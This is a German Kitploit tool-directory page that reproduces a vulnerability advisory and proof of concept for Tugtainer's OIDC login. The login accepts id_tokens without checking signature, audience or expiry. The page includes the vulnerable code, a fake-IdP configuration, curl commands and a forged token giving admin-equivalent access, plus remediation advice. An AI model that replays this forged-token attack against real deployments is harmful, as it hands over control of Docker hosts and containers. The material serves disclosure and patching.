Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
tugtainer-PoC — PoC — OIDC id_token wird in Tugtainer ohne Signatur-/Audience-/Ablaufprüfung akzeptiert (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1). | Kitploit
Tools/GitHubGitHub/squeeze440/tugtainer-poc
SchwachstellenanalyseExploitationWebsicherheitPenetrationstestsIdentitäts- & Zugriffsmanagement (IAM)Authentifizierung
GitHubsqueeze440/tugtainer-poc

tugtainer-PoC

PoC — OIDC id_token wird in Tugtainer ohne Signatur-/Audience-/Ablaufprüfung akzeptiert (GHSA-crjc-6vc7-xrfh, CVE-2026-87004, CVSS 8.1).

Repository anzeigen
vor 7 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zusammenfassung

CVE-Status: beantragt, Zuweisung ausstehend. Dieser Fund wird als GHSA-crjc-6vc7-xrfh veröffentlicht. Bei der CVE-Zuweisung wird dieses Repository in CVE-YYYY-NNNNN-tugtainer-PoC umbenannt und dieses Banner durch den CVE-Link ersetzt.

ForscherDostxodjayev Abdullox (@squeeze440)
AdvisoryGHSA-crjc-6vc7-xrfh
CVSS 3.18.1 (Hoch)
SchwachstelleCWE-347

Zusammenfassung

Die unsachgemäße Verifikation der kryptografischen Signatur im OIDC-Authentifizierungsanbieter in backend/modules/auth/providers/auth_oidc_provider.py in Quenary/tugtainer (Commit 3138226) ermöglicht es einem Angreifer, der die Token-Exchange-Antwort zwischen dem tugtainer-Backend und dem konfigurierten OIDC-Anbieter kontrollieren oder abfangen kann (z. B. eine Netzwerk-MITM-Position, ein kompromittierter/bösartiger Identity Provider oder eine DNS-/TLS-Terminierungs-Kompromittierung auf diesem Pfad), ein beliebiges id_token zu fälschen und eine vollständig authentifizierte, admin-äquivalente tugtainer-Sitzung für jede Identität über GET /api/auth/oidc/callback zu erhalten.

Produkt

Quenary/tugtainer — selbstgehostetes Docker-Container-Auto-Update-Tool mit Web-UI, Agent-/Backend-Architektur.

Getestete Version

Commit 31382268bf16df32f33316fe4d601ad1635871d4 (Standard-Branch des Repos, geklont am 2026-08-05).

Geschätzte CVSS v3.1

8.1 (Hoch) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AC:H (nicht AC:L): Die Ausnutzung ist keine einfache unauthentifizierte Netzwerkanfrage. Sie erfordert, dass der Angreifer kontrolliert, was der Token-Endpunkt während des Server-zu-Server-Code-Austauschs an das Backend zurückgibt — realistischerweise eine MITM-Position zwischen dem tugtainer-Backend und dem echten IdP oder ein kompromittierter/bösartiger IdP, dem das Backend vertraut. Dies ist eine echte, nicht triviale Voraussetzung, daher wird AC:H statt AC:L verwendet.
  • UI:N: Sobald der Angreifer diese Netzwerkposition hat, ist keine Interaktion des Opfers erforderlich — der Angreifer kann den gesamten Login-Ablauf selbst durchführen (bestätigt im PoC unten, end-to-end mit curl durchgeführt).
  • C:H/I:H/A:H: Die resultierende Sitzung ist eine vollständige, uneingeschränkte tugtainer-Sitzung (es existiert keine RBAC/Allowlist für OIDC-Identitäten — siehe Details) mit Zugriff auf jeden Container-/Host-Management-Endpunkt: Auflisten/Lesen aller Docker-Hosts und -Container, Starten/Stoppen/Killen/Entfernen von Containern, Pull von Images und (falls ALLOW_HOOKS/ALLOW_EXEC auf einem Host aktiviert sind) Ausführen von Befehlen innerhalb von Containern.
  • S:U: Die Auswirkung bleibt innerhalb der eigenen Autorisierungsgrenze von tugtainer (der Angreifer wird zu einem authentifizierten tugtainer-Benutzer); sie wird nicht als Scope-Änderung in eine separat autorisierte Komponente betrachtet.

Details

backend/modules/auth/providers/auth_oidc_provider.py, Methode _exchange_oidc_code (Zeilen 267–331), insbesondere Zeilen 299–306:

root@kitploit:~
# Verify and decode ID token if present
if "id_token" in token:
    # For now, we'll decode without verification (not recommended for production)
    id_token_claims = jwt.get_unverified_claims(token["id_token"])
    return {
        "access_token": token.get("access_token"),
        "id_token_claims": id_token_claims,
    }

jwt.get_unverified_claims() (python-jose) base64-dekodiert die JWT-Payload ohne Prüfung der Signatur, exp/iat oder aud/iss — das genaue Gegenteil dessen, was OpenID Connect Core 1.0 §3.1.3.7 von einem RP verlangt, bevor er einem ID Token vertraut. Der Kommentar des Entwicklers selbst („not recommended for production") bestätigt, dass dies eine bekannte Abkürzung war und keine beabsichtigte Designentscheidung.

Die resultierenden Claims fließen direkt in die Sitzungserstellung ein, ohne zusätzliche Prüfungen:

  • callback() (Zeile 137) ruft _exchange_oidc_code() und dann _create_oidc_user_session() (Zeile 333) auf, was email/sub/preferred_username (Zeilen 341–345) direkt aus den unverifizierten Claims entnimmt und echte, signierte tugtainer access_token/refresh_token JWT-Cookies (HttpOnly, SameSite=strict) über _set_cookies() erzeugt.
  • Es gibt nirgendwo im Codebase eine Allowlist zulässiger OIDC-Identitäten (grep nach Allowlist-/Allowed-Email-Mustern in backend/ liefert nichts) — welcher sub/email auch immer in den (unverifizierten) Claims steht, wird zur Identität der neuen Sitzung, mit demselben Zugriff wie jeder andere angemeldete Benutzer (tugtainer hat eine einzige flache Vertrauensstufe, kein per-Benutzer-RBAC).
  • Da aud und iss nie geprüft werden, wird ein ID Token, das für einen völlig unabhängigen Client desselben IdP ausgestellt wurde — oder, wie unten demonstriert, eines mit einer ungültigen/nicht übereinstimmenden Signatur und einem bereits abgelaufenen exp — genauso bereitwillig akzeptiert wie ein legitimes.

Dies ist nur erreichbar, wenn OIDC_ENABLED=true (ein Admin-Opt-in), sodass es die Standard-/Nur-Passwort-Bereitstellung nicht betrifft.

Proof of Concept

Dynamisch verifiziert gegen die echte Anwendung, die aus diesem Commit gebaut wurde (docker build -f Dockerfile.app), ausgeführt über einfaches docker run (nicht das veröffentlichte Image) mit:

root@kitploit:~
OIDC_ENABLED=true
OIDC_WELL_KNOWN_URL=http://<attacker-controlled-idp>:9999/.well-known/openid-configuration
OIDC_CLIENT_ID=tugtainer-test-client
OIDC_CLIENT_SECRET=whatever-not-checked-by-fake-idp
OIDC_REDIRECT_URI=http://localhost:19412/api/auth/oidc/callback

Ein minimaler Fake-OIDC-Provider (evidence/fake_idp.py, in diesem Engagement-Ordner aufbewahrt) liefert ein gültiges Discovery-Dokument und gibt bei POST /token immer ein id_token zurück, das in jeder Hinsicht absichtlich ungültig ist, die ein RP prüfen sollte:

  • Signatur = wörtliche Platzhalter-Bytes, keine echte HMAC/RSA-Signatur
  • aud = "totally-wrong-client-id-not-tugtainers" (stimmt nicht mit OIDC_CLIENT_ID überein)
  • exp = 1 Stunde in der Vergangenheit (bereits abgelaufen)

Schritte (echte Befehle, echte Ausgabe, beide Container lokal ausgeführt):

root@kitploit:~
$ curl -s -i -c cookies.txt "http://localhost:19412/api/auth/oidc/login"
HTTP/1.1 302 Found
location: http://tugtainer-audit-idp:9999/authorize?client_id=tugtainer-test-client&...&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ
set-cookie: oidc_state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ; HttpOnly; Max-Age=300; Path=/; SameSite=lax

$ curl -s -i -b cookies.txt -c cookies.txt \
  "http://localhost:19412/api/auth/oidc/callback?code=totally-arbitrary-unused-code&state=NOPiwYzObzUwUkh119mw7YbzqmWEyZmzjEKmjaATpJQ"
HTTP/1.1 302 Found
location: /containers
set-cookie: access_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=300; Path=/; SameSite=strict
set-cookie: refresh_token=eyJhbGciOiJIUzI1NiIs...; HttpOnly; Max-Age=2592000; Path=/; SameSite=strict

Dekodierte access_token-Payload (wie von tugtainers eigenem JWT-Signer für diesen „Benutzer" erzeugt):

root@kitploit:~
{"type":"access","auth_provider":"oidc","user_id":"[email protected]",
 "user_info":{"iss":"http://tugtainer-audit-idp:9999","sub":"[email protected]",
 "email":"[email protected]","aud":"totally-wrong-client-id-not-tugtainers",
 "exp":1785918530,"iat":1785914930},"exp":1785922430}

Sitzung dann live gegen geschützte Endpunkte bestätigt:

root@kitploit:~
$ curl -s -i -b cookies.txt "http://localhost:19412/api/auth/is_authorized"
HTTP/1.1 200 OK

$ curl -s -b cookies.txt "http://localhost:19412/api/hosts/list"
[{"name":"local","enabled":true,...,"url":"http://127.0.0.1:8001","secret":null,...,"id":1,"available_updates_count":0}]

$ curl -s -i "http://localhost:19412/api/hosts/list"   # no cookies, for comparison
HTTP/1.1 401 Unauthorized

Das eigene Log des Fake-IdP bestätigt das exakte gefälschte Token, das er zurückgab:

root@kitploit:~
[fake-idp] issuing FORGED id_token (bad sig, wrong aud, expired):
eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJpc3MiOiAiaHR0cDovL3R1Z3RhaW5lci1hdWRpdC1pZHA6OTk5OSIsICJzdWIiOiAiYXR0YWNrZXJAZXZpbC5leGFtcGxlIiwgImVtYWlsIjogImF0dGFja2VyQGV2aWwuZXhhbXBsZSIsICJhdWQiOiAidG90YWxseS13cm9uZy1jbGllbnQtaWQtbm90LXR1Z3RhaW5lcnMiLCAiZXhwIjogMTc4NTkxODUzMCwgImlhdCI6IDE3ODU5MTQ5MzB9.VEhJU19JU19OT1RfQV9WQUxJRF9TSUdOQVRVUkVfSlVTVF9SQU5ET01fQllURVNfMDAwMDAw

PoC-Helfer: evidence/fake_idp.py (zusammen mit diesem Bericht aufbewahrt).

Es sind keine Screenshots enthalten — dies ist ein Server-zu-Server-API-Bypass ohne Browser-/UI-Komponente zum Erfassen; das obige curl-Transkript ist der echte, unveränderte Befehls-/Antwortnachweis.

Auswirkung

Jeder Angreifer, der die Antwort des OIDC-Token-Exchange-Aufrufs beeinflussen kann, den das tugtainer-Backend durchführt (MITM auf diesem Netzwerkpfad, ein bösartiger/kompromittierter IdP oder eine DNS-/TLS-Terminierungs-Kompromittierung zwischen Backend und IdP), kann eine vollständig gültige, uneingeschränkte tugtainer-Sitzung als beliebige Identität erzeugen — ohne die Anmeldedaten eines echten Benutzers zu kennen und ohne Interaktion eines legitimen Benutzers. Da tugtainer kein per-Benutzer-RBAC hat, verfügt diese Sitzung über vollen Anwendungszugriff: Auflisten aller registrierten Docker-Hosts und -Container, Starten/Stoppen/Killen/Entfernen von Containern, Pull/Tag von Images und (wo ALLOW_HOOKS/Agent ALLOW_EXEC aktiviert sind) Ausführen von Befehlen innerhalb von Containern.

Schwachstellen

  • CWE-347: Unsachgemäße Verifikation der kryptografischen Signatur
  • CWE-345: Unzureichende Verifikation der Datenauthentizität (fehlende aud/iss/exp-Prüfungen)
  • CWE-287: Unsachgemäße Authentifizierung

Behebung

Ersetzen Sie in _exchange_oidc_code jwt.get_unverified_claims(token["id_token"]) durch eine verifizierende Dekodierung: Rufen Sie die jwks_uri des IdP aus dem Discovery-Dokument ab, ermitteln Sie den Signaturschlüssel über kid und rufen Sie jwt.decode(id_token, key=jwk, algorithms=[...], audience=Config.OIDC_CLIENT_ID, issuer=discovery_doc["issuer"]) auf (python-jose unterstützt all dies). Dies erzwingt Signatur, exp/iat/nbf, aud und iss gemäß der OIDC-Core-Spezifikation. Erwägen Sie außerdem, eine optionale Allowlist akzeptierter email/sub-Werte für Bereitstellungen hinzuzufügen, die einen IdP mit anderen Anwendungen teilen.

Danksagung

Dostxodjayev Abdullox (GitHub: squeeze440)

Meldekanal

GitHub Security Advisory / Private Vulnerability Reporting auf Quenary/tugtainer (PVR bestätigt aktiviert).

Tool herunterladen